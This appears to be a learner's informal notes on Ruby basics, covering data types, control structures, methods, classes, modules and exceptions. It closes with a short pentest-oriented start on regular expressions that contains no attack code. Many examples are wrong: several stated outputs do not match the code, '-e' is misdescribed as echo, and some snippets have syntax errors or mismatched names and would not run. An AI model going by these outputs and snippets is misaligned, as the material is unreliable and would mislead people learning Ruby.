Ruby Essentials

Installation 

Data Types

Control Structures

Methods, Variables and Scope

Classes, Modules and Exceptions

Installation and First Look

http://www.ruby-lang.org/

it comes pre-installed on MAC and many Linux distros like Kali.
in windows you can install: http://rubyinstaller.org/

Verify version:

ruby -v

Update:

apt install ruby_version

Online ruby interpreter:

→ http://tryruby.org/

Ruby From other language:

→ https://www.ruby-lang.org/en/documentation/ruby-from-other-languages/

Getting Started

ruby -e "puts 'Hello World"
# Output: Hello World

// -e = echo (it shows the command directly) // puts = print

You can run interactive Ruby programs using the irb tool:

irb --simple-prompt

Suggestions

If you plan to use Ruby scripts intensively, we suggest you use the bash exection shortcut (called shebang) if you are using Linux based system or associate the Ruby files on Windows.

Path of your Ruby interpreter:

which ruby

therefore our script must begin with the shebang

 #!/usr/bin/ruby

The power of Ruby

Read files like cat:

ruby -pe 0 'file'

// -pe 0 ‘file’ = read file line to line printing them to stdout and For each line it executes the 0 command

Count the number of the lines of a file:

ruby -ne 'END {print "Lines:",$.,"\n"}' file

# -n = puts the code into a loop
# -e = execute one line of ruby code
# print = prints the following string to stdout without a new line at the end
# END = executes the next block of instructions
# $. = global variable that holds the last line number read by ruby interpreter
# . = used to concatenate strings

Replace lowercase with uppercase, and create a backup of the original:

ruby -i.bak -pe 'gsub "foo","FOO"' file_name

# -i = specifies in-place edit mode (edit each line read by -p instead of write it to stdout). If an extension is provided (.bak), ruby makes a backup of the original
# gsub = stands For global substitution (replace the first argument with the second)

We suggest you see the Ruby man page or the Help

Libraries

There are different sources of libraries

→ the most famous: http://rubygems.org/

Its a Ruby packaging system designed to facilitate the creation, sharing and installation of libraries.
Other sources: RubyForge, GitHub, Ruby Toolbox

RubyGems

gem help

Search For gems:

gem search <string>
gem search -r http // -r = remote

Install the gem you want:

gem install <gem name>
gem install openssl-extensions
gem install -h

List installed gems:

gem list

A very useful gem is pry

gem install pry
// it provides an interactive environment with many interesting features such as syntax highlighting
pry --simple-prompt

Data Types

everything is an object

Numbers

4.odd?
# Output: false
4.even?
# Output: true
10.next
# Output: 11
10.pred
# Output: 9
25.to_s
# Output: "25"
65.chr
# Output: "A"
15.integer?
# Output: true

In general, if a method ends with the question mark, it means that the returning value is a boolean.

Float

10/3.0
# Output: 3.3333
2.0.integer?
# Output: false
2.49.round
# Output: 2
2.51.round
# Output: 3
2.51.ceil
# Output: 3
2.51.floor
# Output: 2

Anticipation

pygmentize ip_upto.rb
ruby ip_upto.rb 192.168.1 10 20
//will print 192.168.10~20

Comments

# Comments ...

!=begin
  comments in between
=end

Strings

use both single and double quotes

Single quote support two escape sequences:

\' and \\

Double quotes support a lot:

\" = double quote
\r = carriage return
\s = space
\\ = single backslash
\n = newline
\t = tab

Also note that instead of using double or single quotes, you can use % (percent character)

You can also use % with brackets, parenthesis, braces or <> signs.

Using alternative Ruby quotes (% characters and custom delimiters) you can write strings containing double or single quotes without escaping them.

- With %q and %Q you can start respectively strings that works as delimited single ( ' ' ) and double quoted ( " " ) strings.
- both %q and %Q need a custom delimiter too and you can also use the special delimiters:

{},[],(),<>

print %q!Like single quote, \n is not interpreted as new line!
print %Q!Like double quote, \n is interpreted as new line!

Info about strings

You can define local variable with a lower case letter or an underscore character ( _ ) as first variable character.

some examples:

st = "A string"

st.empty?
# Output: false
st.clear
# Output: ""
st.empty?
# Output: true
st = "Another string"
st.length
# Output: 14
st.size
# Output: 14
st.start_with? "An"
# Output: true
st.end_with? "ing"
# Output: true
st.start_with "an"
# Output: false
st.end_with? "String"
# Output: false

// remember that a string is an object. You can use all the public methods provided by String and its acestor classes. // by using pry you can display them using the autocomplete feature (pressing the tab key)

Here document notation

Heredoc provides a mechanism For creating free format strings - preserving special characters such as new lines and tabs. This is very useful if you need to use multi-line strings.

Example:

st = <<DELIMITER
  ... our 
  string,,,
DELIMITER

print st 
# will print the multi-line string

string Arithmetic

Different ways to concatenate:

# (+) Notation
str1 = "Hello"
str2 = "World"
result = str1 + " " + str2

# String Juxtaposition
str1 = "Hello"
str2 = "World"
result = str1 << " " << str2

# (<<) Notation
str1 = "Hello"
str2 = "World"
str1 << " " << str2

# OO Notation with concat Method
str1 = "Hello"
str2 = "World"
str1.concat(" ", str2)

You can repeate strings easily and also freeze them, so they cannot be altered:

# Using * for repetition
"string" * 2
# => "stringstring"

# Using << for concatenation
st = "A Ruby"
st << " String"
# => "A Ruby String"

# Freezing a string
st.freeze
# => "A Ruby String"
# The string is now frozen and cannot be modified anymore

# Attempting to modify a frozen string will result in an error
st << "!!!"
# => FrozenError (can't modify frozen String)

Freeze operates on an object, not on a variable that holds the pointer to the object. Therefore its legal to assign a new object to a variable that refers a frozen object. Indeed you are working with a new object.
You can test if the string is frozen with frozen? method.

String substitution

[index] method can easily change sections of strings.

st = "We are using Perl"
st["Pearl"] = "Ruby!!!"
st
# Output: We are using Ruby!!!

Another way is sub and gsub

The first replaces the first occurrence, while the latter replaces all the occurrences.

st.sub("Perl","Ruby")

sub and gsub just return a copy of the string with the proper substitution. If you want to modify the original string, you have to use sub! or gsub!
you cant use sub!/gsub! on a frozen object.

You can insert some text into a specific position of a string:

st = "bcde"
st.insert(0,"a")
# Output: abcde

-3, it works like python. It counts from the end.

Interpolation

Allows to write Ruby code into a string. This means you can put any code you want to run enclosed in

ruby#{}

And result of the code will appear in the string:

"string #{Ruby code} string"
example:

#{2*4} apples on the tree
 # Output: "8 apples on the tree"

name ="john"
# Output: "My name is #{name}" 
# just like python fstring

Some useful methods

Sometimes you may have to do some simple operations with text or string
upcase, capitalize, reverse, and so on

Array

A Ruby array is an object that contains other objects which can be accessed using integer indexes. An array can include all type of objects, including other arrays (this is called multidimensional array).

my_array = Array.new(2)
my_array[0] = 5
my_array[0] = 9
my_array
# Output: [5,9]
my_array<<7 
my_array
# Output: [5,9,7]

// it can be accessed through indexes // it can have multi layers of arrays // by changing a variable inside the array, it also changes the array/variable and vice versa

Insertions

it can be done via ‘«’ operator // like bash
also with ranges [..]

Deletion

a.delete(4) 
# through element

a.delete_at(2) 
# through index position

concatenation

You can concatenate arrays with + operator or an OO style with .concat method.

Operations between arrays

You can treat an array as a set and perform operations like:

# Union ( | ): concatenates two arrays (removing duplicates)
# Intersection ( & ): Only elements that are common to both arrays are returned (removing duplicates)
# Difference ( - ): returns the first array without the elements contained into the second array

# Example:

arr1 = [1, 2, 3]
arr2 = [3, 4, 5]

# Union (|)
union_result = arr1 | arr2
puts "Union: #{union_result}"

# Intersection (&)
intersection_result = arr1 & arr2
puts "Intersection: #{intersection_result}"

# Difference (-)
difference_result = arr1 - arr2
puts "Difference: #{difference_result}"

# Output:
# Union: [1, 2, 3, 4, 5]
# Intersection: [3]
# Difference: [1, 2]

stack

Ruby arrays provide push and pop methods

Some useful methods

Moreover the array class provides a lot of interesting and useful methods such as:

sort
reverse
uniq
max
min

Note that some methods come both with and without the exclamation point ( ! )
so when its done, also affects the original variable/object

Arrays and Strings

You can easily create a String starting from an Array (and vice versa) using the join method.
and to create an array starting from a String using the split method // just like python

→ moreover: http://www.ruby-doc.org/core-1.9.3/Array.html

References

→ http://www.ruby-doc.org/core-1.9.3/

Ranges and Hash

Ruby Ranges allows data to be represented in the form of a range. You can create different ranges of values: numbers, characters, strings or objects in general
A range is made of a start value, an and value and a range of values in between.

Two ways to create ranges:

the inclusive (a..b) 
# 2 dots - it includes all values
the exclusive (a...b) 
# 3 dots - it excludes the last value (in this case 'b')

Example:

(2..4).to_a // to_a = means to array
# Output: [2,3,4]

(2...4).to_a
# Output: [2,3]

# the same with letters
# differents data types supports differents methods

example float:
(1.0..3.0).step.to_a //without step it bugs
# Output: [1.0, 2.0, 3.0]

Another methods:

min
max
begin
end
etc

You can check if a value belongs to the range using the include method or the === operator

(2..10).include?(4)
# Output: true

(2..10) === (14)
# Output: false

Ranges can be expressed using variables too

a = 5
b = 10
a..b
 # Output: 5..10

(a..b).to_a
 # Output: [5,6,7,8,9]

Hashes

similar to arrays. The main difference is that hashes are like dictionaries, so instead of using integer indexes

You can use an object index as key:

character
string
regex
symbols
and so on

Obviously the value of an hash element can be of any type
to define a hash you must use {} instead of []
The inline syntax allows you to create an hash very quickly using the operator =>. The value on the left of the operator is the object index while what follows is its values.
To avoid quotes in hash keys, Ruby allows symbols based key values:

→ http://ruby-doc.org/core-1.9.3/Symbol.html

Symbols are a particular feature in Ruby. Generally they are a data type, but Ruby handles them in a special way.
A simple way to use them is by adding a colon (:) before the key name (that becomes a symbol).

Note that there are no quotes:

hash = {:name => 'Bob', :age => 25, :gender => 'M'}
hash[:name]
# Output: "Bob"

Can be used a rapid notation (KEY:VALUE)
 → hash = {name: 'Bob', age:25, gender:'M'}
# but does not work For integer key value

→ moreover: http://www.ruby-doc.org/core-1.9.3/Hash.html

Basic Control Structures

→ http://ruby-doc.org/docs/keywords/1.9/Object.html

Comparison Operator

operator	description
==	Equality operator
.eql?	Equality operator (OO style)
!=	Inequality operator
<	less than
>	greater than
<=	less than or equal to
>=	greater than or equal to

a <=> b

0 - if a == b

1 - if a > b

-1 - if a < b

Conditionals

if x > 5 then
  puts "\ngreater than 5\n\n"
end
if x < 20
  puts "less than 20\n\n"
end

# we can use else also
# and elsif // like python

x = 10
puts "x is integer \n" if x.is_a? Integer
# Output: x is integer

Everything is an expression. Expressions like print or puts have a return value too (nil in this case is)

Unless

THe unless steatment is the opposite of if. It executes the associated code only if the conditional expressoin return false or nil.

Case

The case statements is a valid substitute For if/elsif
It tests in order each when clause until it finds a condition that returns true; otherwise the final else is executed.

x=1
case x
when 1 then print "one"
else print "I dont know"
end

x=1
name = case x
when 1 then print "maria"
else print "I dont know"
end

x=1
name = case
when x == 1 then print "luna"
else print "I dont know"
end

The equality operator === is useful to work in Ranges.

With Classes and Instances too:

String == "Hello"
# Output: false
String === "Hello"
# Output: true

Ternary Operator

>> test_expr? true_expr : false_expr
>> name == "Bob" ? "Hi Bob" : "Who are you?"

Loops

While:

while <expression>
  <..block> 
end

the keyword do is required with inline basic while statement instead

print i+=1, "\s" while i < 5

print array.pop,"\s" while !array.empty?

Until:

until <expression>
  <block>
end

the keyword do is required with inline basic while statement instead

For:

for <var> in <collection>
  <block>
end

for x in [10,20,5] do
  print i*2."\s"
end

- with range
for i in 1..10
  print i*2,"\s"
end

Iterators

Its a method that allows you to loop through the members of a colletion:

(1..5).each { |i| print i*2,"\s"}
# Output: 2 4 6 8 10

(1..5).each  do |c|
  print i*2,"\s"
# Output: 2 4 6 8 10

Enumerable Objects

other common enumerable objects are Arrays, Hashes and Ranges.
stataments like collect/map, select, reject, inject are iterators too
each of them can be used either to modify the original collection (just append the exclamation mark ! at the end of the method) or to create a new collection starting from the original.

collect/map statements are synonymous:

array = [1,2,3]
array.map {|x| x**2}
# Output: [1,4,9]

select returns an array of the original collection elements For which the associated block returns a positive value (no false, no nil)

- array.select { |x| x>2}
# Output: 3,4,5

reject is the opposite of select. it returns an array of original collection elements For which the associated block returns a false or nil.
inject - The block associated to inject has two arguments. the first is an accumulator from previous iteration while the second is the next element of the enumerable object.

array = [ 2,3,4,5,6,7]
array.inject {|mul,x| mul * x}
 # Output: 5040

the mul its the accumulator, so its gonna save each of the results and keeping multiplying until the list is over
The value of the accumulator is the initial value of the list, but can be specified with round brackets ( )

array = [ 1,2,3,4,5]
array.inject(100) {|sum,x| sum + x}
 # Output: 115

Enumerator

its an object whose purpose is to enumerate another enumerable object. This means that enumerators are enumerable too.
when we used each, map, select, etc., we implicitly used enumerators too.
usage: example, if you have a method that uses an enumerable object, you may not want to pass the enumerable collection object because its mutable and the method may modify it.
So you can pass an enumerator created with to_enum and nothing will happen to the original enumerable collection.
moreover: http://ruby-doc.org/core-1.9.3/Enumerator.html

External Iterators

There is also the possibility to use an enumerator object as an external iterator.
Enumerator objects allow you to control the iteration by yourself so you can create what is called external iterator.

Example:

 → [1,2,3,4]
enum = a.to_enum
enum.next
# Output: 1
enum.next
 # Output: 2
enum.next
# Output: 3
enum.next
 # Output: 4
enum.next
# Output: error

Altering Structured Control Flow

Like others programming languagues, in Ruby we can use:

break
next
redo

break transfer the control out of the loop or the iterator where it is contained.
if true, the next operation is the first statement after the end keyword.

For i in 1..10
	print i,"\s"
	break if i==5
end

# Output:  1 2 3 4 5

next statement ends the current iteration and jumps to the next one. All the instructions that follow are not executed. It works the same way of the continue statement used in Java or C.

For i in 1..10
	next if i==5
	print i,"\s"
end

# Output: 1 2 3 4 6 7 8 9 10

Redo restarts the current iteration from the first instruction in the body of the loop or iteration

sum = 0
For i in 1..3
	sum +=i
	redo if sum == 1
end

 # Output: 7
 # 1 + 1 + 2 + 3 = 7 >> the 1 repeats because of the redo

Begin / End

BEGIN allows the execution of Ruby code at the beginning of a Ruby program
END allows the execution of Ruby code at the end of a Ruby program

BEGIN {
  puts "\n","Beginning code","\n"
}
END {
  puts "\n","Ending code","\n"
}

puts "\n","Normal code","\n"

Output:

 → Beginning code
 → Normal code
 → Ending code

If there are more than one BEGIN block, they are executed following the order in which the Ruby interpreter encouters them.

END block instead, are executed in the reverse order in which they are encountered

Methods

Methods are a common structure - available in all high level programming languages.
They are used to define code abstraction, providing a specific semantic (what they can do) but hiding the implementation (the code necessary to obtain the semantic)

Simple method definitions

Syntax:

def <method name> (<arguments list>)
  ...<code block>...
end

// arguments list - can be empty

def double (x)
  return x*2
end

double(2)
# Output: 4

Parentheses

Ruby is flexible, it allows parentheses to be omitted when you invoke a method ( a space os required between the method name and the argument)

fibonacci(5)
fibonacci 5
# both are correct

Alias

Ruby allows one to define aliases For methods
This is helpful if u wanna to have a method with a more natural or expressive name

def method_in_ruby
  puts "whatever"
end

alias mir method_in_ruby

mir
# Output: "whatever"

Aliases are commonly used as a backup in order to extend the ability or functionality of a method

Parameters Default Values

U can specify default values For parameters of your methods. These values will be assigned when an actual parameter will be omitted.

def print_name(name = "unknown")
	print "\s",name,"\s"
end

print_name "john"
# Output: john
print_name # <anything as parameter>
# Output: unknown # <the method grab the default value>

Variable Length Arguments

U can create a method that is able to handle variable length arguments as parameters
U have to add an * before one (and only one) of the parameters of your method
Then u can call the method with whatever arguments u want
The parameter with * captures them as an array

Example:

def method (first, *others)
  puts "first is: "+first.to_s
  print "others: "+others.to_s
end

method(1,2,3)
  first: 1
  others: [2,3]

Hashes as Arguments

with hashes, you can invoke a method specifying explicitly (at calling time) the name of arguments.
Usually this style of programming is ideal when you have symbols such as hash key values. Therefore Ruby provides an elegant and useful syntax.

Example:

def printPerson(hash)
  name = hash[:name] || "Unkown"
  age = hash[:age] || "Unkown"
  gender = hash[:gender] || "Unkown"
  print name, "\s",age,"\s",gender
end

printPerson name:"ana",age:27
# Output: Ana 27 Unknown

Block Arguments

Inside the method, we can invoke the code in the block with the yield statement.
Iterators do it For us silently
Yield transfers the control flow to the block associated with the method invocation

Example 1:

def method
  puts "inside method"
  yield
  puts "Again inside method"
  yield
end

method {puts "In the BLOCK now" }

output:

 → Inside method
 → In the BLOCK now
 → Again inside method
 → In the BLOCK now

You can pass arguments with yield and use them in the block

Example 2:

def double(x)
  yield 2*x
end

double(5) { |x| print x }
# Output: 10=>nil
double(5) { |x| puts x }
# Output: 10
double(5) // without block 
# Output: error

Yield is often used with iteration
This example method generates all the even numbers that are less than n and the block prints them to stdout.

Example:

def even(n)
  for i in 2..n
    yield i if i % 2 == 0
  end
end


even(10) {|x| print x, "\s"}
  2 4 6 8 10 => 2..10

if u do not want to use yield, Ruby allows you to pass a block as an argument. With this strategy, the block becomes an instance of the Proc class and u have to use call instead of yield to transfer the control to it.
To specify that an argument will be a Proc object that encapsulates a block you must use the ampersand (&) in method definition.

Example 1:

def square_cube(n,&p)
  For i in 1..n
	  p.call(i**2) # or yield i**2
	  p.call(i**3) # or yield i**3
  end
end

square_cube(5) {|x| print x,"\s"}
	1 1 4 8 9 27 16 64 25 125 => 1..5

Proc object as normal argument values

square = Proc.new {|x| print x**2,"\s"}

def print_proc(n,pr)
  for i in 1..n
	  pr.call(i)
  end
end

print_proc(8,square)
# Output: 1 4 9 16 25 36 49 64 => 1..8

Bang methods

They are methods that end with an exclamation mark !
They modify the object that is called.
Usually common bang methods are related to Array or Hash.

Returned Values

If we return more than one value, its converted to an array automatically:

def ret_value
  return 1,2,3,4
end
array = ret_value
	[1,2,3,4]
array
	[1,2,3,4]

Variables & Scope

Ruby is dynamically typed language: u can create a variable without specifying its type.
It infers the type from the type of object u assign to it
u can change the type of variable by changing its referenced object type

There is 4 types of variables in Ruby:

local: visible within a method or block
global: visible throughout a Ruby program
instance: visible within an object instance
class: visible within all class instances

Local variables

begin with a lowercase letter or an underscore _
they are visible within a specific local area of the Ruby source code (method, class, module).
Statements like For, While, iF, etc.. do not define a new scope. Variables defined inside them are still accessible outside.

→ kernel statements - http://ruby-doc.org/core-1.9.3/Kernel.html

define new scope

Example: loop

The following control structures define a new scope:

def ... end
class ... end
module ... end
loop { ... }
proc { ... }
iterators/method blocks
the entire script

u can verify the scope of a variable by using the define? method

Global variables

begins with the $ special character. It has a global scope, meaning that it can be visible and accesible. anywhere in the program.

Some pre-defined global variables. Some examples:

$* : array of command line arguments
$0 : name of the script being executed
$_ : last string read by gets
 → moreover: http://ruby-doc.org/core-2.0/doc/globals_rdoc.html

Example: reads a line and prints it:

print "write something: \t"
$stdin.gets
print "gets: \t\t\t",$_
puts

Instance & Class Variables

class variables begin with @@ and they are visible by all instances of a class
instances variables begins with @. They are local to specific instances of a class

Constants

Begins with an uppercase. THey should not be changed after their initialization
However Ruby allows u to change them but with a warning
Belongs to the scope

Example:

A = 100
module B
  A = 200
end

A
# Output: 100
B::A
# Output: 200
// we can access the constant of the module by using its namespace B::A

Another global examples:

ARGV : holds command line arguments
ENV : holds information about environment
// moreover: http://ruby-doc.org/core-2.0/doc/globals_rdoc.html

tricks

We can declare multiple variables:

   → a,b,c = "a","b","c"

Swap two variables without using a temporary one:

x=10
 y = 20
x,y=y,x

Classes Principles

How to define a class:

class <Name>
  ...<class body>...
end

 <Name> must begin with a capital letter. This holds because Ruby creates the constante <Name> to refer the class, so the capital letter is required.

Create a class:

class Myclass
  def hello
	print "Hello"
  end
end

// instantiate an object
MyObj = MyClass.new

// invoke an object method
MyObject.hello
# Output: Hello

→ moreover: http://ruby-doc.org/core-1.9.3/Class.html

Instance Variables

are variables available only to each instance of the class, meaning that they change from object to object.
they are defined within class definition using the special character @
instance variable are only accessible via the instances public methods. So you have to define accessors methods to read them and setters methods to set them.

To inialize them, the default constructor method in Ruby is initialize

class MyClass
  #constructor method
  def initialize(a)
	  @a = a
  end
  # setter method
  def a=(value)
	  @a = value
  end
  # getter method
  def a
	  @a
  end
end

// All instances of MyClass have their own instance variable (@a) which is accessible thanks to the getter and the setter method ‘a’.

instances variables are resolved in the context of self. When we invoke a method, self refers to an instance of a Class. Otherwise inside a Class but ouside any method, self is the object that represents the class,

Getter / Setter through Metaprogramming

with the attr_accessor keyword, Ruby silently defines a getter and a setter For us.
it requires a symbol notation but it defines real instance variables @x, @y

class QuickGS
  attr_accessor :x,y
end
obj = QuickGS.new

obj.x, obj.y = 100,300
print obj.x" " obj.y
# Output: 100 300

with the attr_reader keyword, Ruby silently difines a getter.

class QuickG
  attr_reader :x,y
  def initialize(x,y)
	@x,@y = x,y
  end
end
obj = QuickG.new(10,20)

we can print, but we cant set
because the setter has not been defined
Attr is another useful keyword

If used alone, it defines a getter while with true it defines a setter too:

class QuickGS
  attr :x,true
  attr :y
  def initialize(x,y)
	@x,@y = x,y
  end
end
obj = QuickGS.new(10,20)

obj.x = 100
# Output: 100
obj.y = 200
# Output: error

Class Methods

Self refers the current object:

class C1
  def self.say
	print "hello"
  end
end
c1.say
# Output: hello

Since a Class is an object, we can define Class object instance variables with getter and setter too.
Class methods may be defined in a few other ways:

→ Using the class name instead of self keyword

→ Using the « notation

the « notation is useful when u work with classes that have been already defined.

Class Variables

must start with @@ and its shared among all class instances

Class Contants

They are accessible from outside using ::notation

class MyClass
  C1 = "hello"
MyClass::C1
# Output: hello

Open Classes

Generally in conventional OO languages, when you close the class definition you cannot add anything else in it, unless you use some advanced technique and tools like reflection

Ruby allows u to open a defined class in order to add other methods, constants, etc

class String
  def dsize
	self.size * 2
  end
end
"Hello".size
# Output: 5
"Hello".dsize
# Output: 10
// the string class already exists, the method dsize is added to it.

Operator Methods

Point class represent a simple point in Euclidean geometry.

Example:

p1(1,2) - p2(10,20)
p1 + p2 = p3(11,22)

The sum of two points will return a new point that contains the sum of the coordinates x and y

class Point
  attr :x,:y
	
  def initialize(x,y)
    @x,@y=x,y
  end
  def +(other)
    Point.new(@x+other.x,@y + other.y)
  end
end

// two coordinates (x,y). each of them has a getter // there is no setter or other method to change them

Mutable / Immutable values

In the previous Point example, we used Point as immutable values
This new Point class creates a mutable object value. Each coordinate has its own setter

class Point
  attr_accessor :x, :y
  
  def initialize(x, y)
    @x, @y = x, y
  end

  def +(other)
    @x += other.x
    @y += other.y
    self
  end
end

The + operator changes the first object and returns it as a result.
A Point value can change its coordinate values using both the setters and + operation.

Method Visibility

Ruby allows u to define protected and private methods too

Private Methods

u can define private instance methods and private class methods
Private instance methods can only be called by other instance methods of the class (and subclass). You cannot call them from outside an object.

A famous Ruby private instance method is initialize. U cannot call it from outside:

obj.initialize > error

initialize is an exception because in Ruby all methods are public by default
Private instance methods are defined using the private keyword. With used without arguments, all the methods bellow this keyword are private

Example 1:

class AClass
  # Public methods
  def getName
    privateName
  end

  private
  # Private methods below
  def privateName
    "I'm AClass"
  end
end

Example 2:

# u can specify which methods to treat as private

class AClass
  # Public methods
  def getName
    privateName
  end

  def privateName
    "I'm AClass"
  end

  # Specify private methods
  private :privateName
end

if u want to specify class methods as private
u can use the private_class_method keyword

Protected Methods

Protected methods work as private methods but protected methods may be called by any instance of the defining class or its subclasses.

A full view

class ComplexClass
  # Public instance methods

  protected
  # Protected instance methods

  private
  # Private instance methods

  class << self
    # Public class methods

    protected
    # Protected class methods

    private
    # Private class methods
  end
end

Private methods is not a secure way to hide something. A different technique such as meta-programming (via send method) or reflection API allows to bypass private/protected methods

→ moreover reflection API = http://en.wikipedia.org/wiki/Reflection_(computer_programming)

Subclassing & Inheritance

A mechanism to extend a class in order to modify its behavior or add new functionalities: subclassing
A class may have multiple subclasses but classes in general can only extend one class (a class has only one superclass).
When u define a new class, if nothing is specified, it automatically extends the Object Class.
The Objec Class extends another Ruby utility Class: BasicObject
Therefore the root class in Ruby is BasicObject

Simple extensions

- Extending a class is very simple, just use the **<** operator. 
- A class inherits all superclass methods

class Person
  attr_reader :name

  def initialize(name)
    @name = name
  end
end

class Italian < Person
end

marco = Italian.new("Marco")
puts marco.name
# Output: Marco

Methods Overriding

subclassing is Ruby is strongly discouraged if u do not properly know the superclass that u want to extend
u might override some private methods that are fundamental For the class to work properly
To override a method, simply define it in the subclass.
A common overridden method is to_s = to string

By default a class extends the Object class and that to_s is a method that Object class hold:

class Italian < Person
  def to_s
    "Sono #{name}"
  end
end


marco = Italian.new("Marco")
marco.to_s
# Output: Sono Marco

Specialize a Method

the super keyword help us avoid the complete redefinition of method behavior
with super, u can call the method of the superclass

u can use super with or without arguments:

class Vehicle
  def initialize(type)
    @type = type
  end

  def to_s
    "I'm a #{@type} vehicle"
  end
end

class Car < Vehicle
  def initialize
    super("land")
  end

  def to_s
    super + ". I'm a car"
  end
end

Instance and Class Variables

Inheritance does not affect instance variables
Class variables are shared and visible from instance methods, class methods and by the class definition itself.

Constants

They are inherited and they can be overridden
when u try to override an inherited constant, Ruby creates a new one with the same name but available only For the subclass.

Private methods

Private methods can be used inside inherited classes
Private methods are inherited

Protected methods

They are inherited and can be used similar to private methods
The difference is that you have to use them in an explicit way (object.method notation) when used inside (and not outside) a class or subclass.

Modules

http://ruby-doc.org/core-1.9.3/Module.html
its used to define namespaces and mixins.
A module is essentially a collection of methods, constants and class variables with a name.
The main difference between classes and modules: → Modules cannot be instantiated → They cannot be subclassed, therefore there is not a module hierarchy

Namespace

Is a way to collect and bind related methods and constants, giving them a name that helps u to use them.
http://ruby-doc.org/core-2.1.0/Math.html
Math is the most suitable example of modules used as namespace
Its a collection of mathematical constants (PI and E) and methods, especially For basic trigonometric and transcendental functions.
Modules and namespaces allow u to define custom Libraries: collection of constants, classes, other modules and so on.

Mixin

Mixin means that if a module defines instance methods (instead of class methods), those instance methods can be mixed into another class; the implementation of the class and the module are joined.
To mix a module into a class, use the include keyword

Example:

module B
  def hello; "Hello"; end
end

class A
  include B
  def world; "World"; end
end

obg = A.new

print obj,hello, " ", obj.world
# Output: Hello World =>nil

Two useful Ruby modules designed For mixin are Comparable and Enumerable
if your class defines the operator <=>, u can include Comparable to get free operation like:

'<','<=','==','>','>=' and between?

If Enumerable is mixed with your class, it gives u sort, find, min, max, etc… without the need to implement them
The Ruby platform provides other usable classes as well. Each one requires that your target class implements some methods in order to work correctly.

Namespace and Mixin Together

Nothing prevents the use of a module both as a namespace and as a mixin; just provide both instance and class methods to the module

Math For example: once we include Math, we do not need to specify Math:: to access its contants, methods and so on

Math::PI
# Output: 3,14
Math::E
# Output: 2.71
Math::sqrt(25)
# Output: 5.0

include Math
Object
PI
# Output: 3,14
E
# Output: 2.71
sqrt(25)
# Output: 5.0

Exceptions

http://ruby-doc.org/core-1.9.3/Exception.html
we should provide some code to execute when theses errors happen in order to retrieve a correct execution flow.
usually subclasses of exception are used to add information about the type of exception raised or to distinguish different exceptions.

Raise

Exception are objects but they are usually created with the method raise (instead of new).
Raise alone creates a RuntimeError

RuntimeError

raise "A runtime error"

Other Errors

With raise, you can specify the Error type too:

→ raise ArgumentError, "Invalid argument"

def int_sum(a,b)
  raise(ArgumentError,"a isn't Int") if !a.is_a?Integer
  raise(ArgumentError,"b isn't Int") if !b.is_a?Integer
  a + b
end

inst_sum "a",10
# Output: "a isn't Int"

Custom Error

ArgumentError, RuntimeError, ZeroDivisionError are subclasses of StandardError
Lets use NoIntError
First we define the new class NoIntError that is inherited from StandardError.

Its our custom error class:

class NoIntError < StandardError; end;

def int_sum(a,b)
  raise(NoIntError,"a isn't Int") if !a.is_a?Integer
  raise(NoIntError,"b isn't Int") if !b.is_a?Integer
  a + b
end

inst_sum "a",10
# Output: "a isn't Int"

Rescue

→ http://ruby-doc.org/core-1.9.3/Exception.html

If u want to handle an exception and execute some arbitrary code when it happens, you can use rescue
rescue is defined as a clause that can be attached to other statements (begin is the most common)

Simple Rescue

$! refers to the last Exception object
if u call the fact method with an integer less than 0, its executed infinite times because return statements are always false. Therefore at some point, the script spends all its memory.
At some point, an exception is raised by Ruby because the stack is full. Rescue catches the exception object and global variable $! stores it.

def fact(n)
  return 1 if n==0
  return 1 if n==1
  n * fact(n-1)
end
begin
  a=fact(ARGV[0].to_i)
  p a
rescue
  p $!.message
end

Exception Objects

$! refers to the last exception object. u can use a personal variable with rescure.
In the example, we use exc instead of $!

def fact(n)
  return 1 if n==0
  return 1 if n==1
  n * fact(n-1)
end
begin
  a=fact(ARGV[0].to_i)
  p a
rescue => exc
  p exc.message
end

Type based exception handling

U can handle exceptions by their type: ```ruby

def int_sum(a,b) raise TypeError if !(a.is_a?Integer) raise TypeError if !(b.is_a?Integer) a + b end

begin print “2 + 3 = “.int_sum(2,3),”\n” print int_sum(2) if ARGV[0] == “argument” print int_sum(“a”,10) if ARGV[0] == “type” rescue ArgumentError => ae print “ArgumentError rescue: “ print ae.message, “\n” rescue TypeError => te print “TypeError rescue: “ print te.message,”\n” end

> Rescue can follow any statement. If an exception occurs, the body of rescue is executed.

### Other Clause
```ruby
- retry
- else
- ensure

Retry

its a clause that can be used inside a rescue clause to re-execute the block of code that has caused the exception.
Imagine that u want to update a db and an exception occurs (a network error, a DB error, etc). U may try again (the network may be available later).
with retry u can do that
example: ZeroDIvisionError

a = ARGV[0].to_i
b = ARGV[1].to_i

begin
  print "#{a} / #{b} = "
  print a / b,"\n"
rescue
  print "Error\n"
  b=1
  retry
end

Be careful when using retry, cause it can cause a infinite loop

Else

Its used to execute some arbitrary code when rescue does not catch any exception
else may be put after a rescue clause.

begin
  # code
rescue
  # code
else
  # code
end

Ensure

its used to specify some code that is always executed at the end of the begin flow.
The code is always executed even if an exception occurs inside the main control flow.
ensure may be inserted after all rescue and else clauses.

begin
  # normal flow
rescue
  # exception handling
else
  # no exception occur
ensure
  # always executed
end

Methods, Classes and Modules

U can use all the previous concepts and clauses with methods, classes and modules as well without the need of begin keyword

Example:

def my_method(a,b,c)
  # normal flow
rescue 
  # exception handling
else
  # no exception occur
ensure
  # always executed
end

Ruby is much more

There are many other statements, techniques and features:

→ Proc and Lamba abstraction
→ Closures
→ Functional programming and higher order function
→ Reflection
→ Metaprogamming

Pentest

Regular Expressions

Dates and Time

Files and Directories

File Stream

Working with Nmap Files

Regular Expressions

Its a set of characters that describes a search pattern
usually a pentester uses regular expressions to filter and extract information in documents, client-server communications, tools output, and much more.
For example, we can use them to extract all the email addresses of a web page as well as filter nmap results.
From a defensive pov, regular expressions are also commonly used to verify and sanitize inputs. This may be used to avoid the input having bad character or invalid text.

Basic Concepts

A regular expression (regex or regexp) is usual delimited by forward slash in all languages: /regex body/
example:
The =~ is the Ruby basic pattern matching operator. It returns nil if the string does not contain the pattern; otherwise it returns the index where the first match begins

"Hello World" =~/World/
# Output: 6
"Hello World" =~/Torld/
# Output: nil

Regexp Object

regex are instances of the regex class; therefore they are regex objects

u can create a regex object with:

literal notation ( **/pattern/** )
**%r** notation
OO notation

Delimiters are custom:

/hello/ = literal notation
%r{hello} = {} delimiters
%r!hello! = ! delimiter

OO notation just use new or compile as synonym For regex.new:

Regexp.new("hello")
Regexp.compile("hello")

Regexp Modifier

u can add flags to specify additional information about the matching that has to be performed
i is used For case insensitive matching. when add after the last / it returns the index of the match

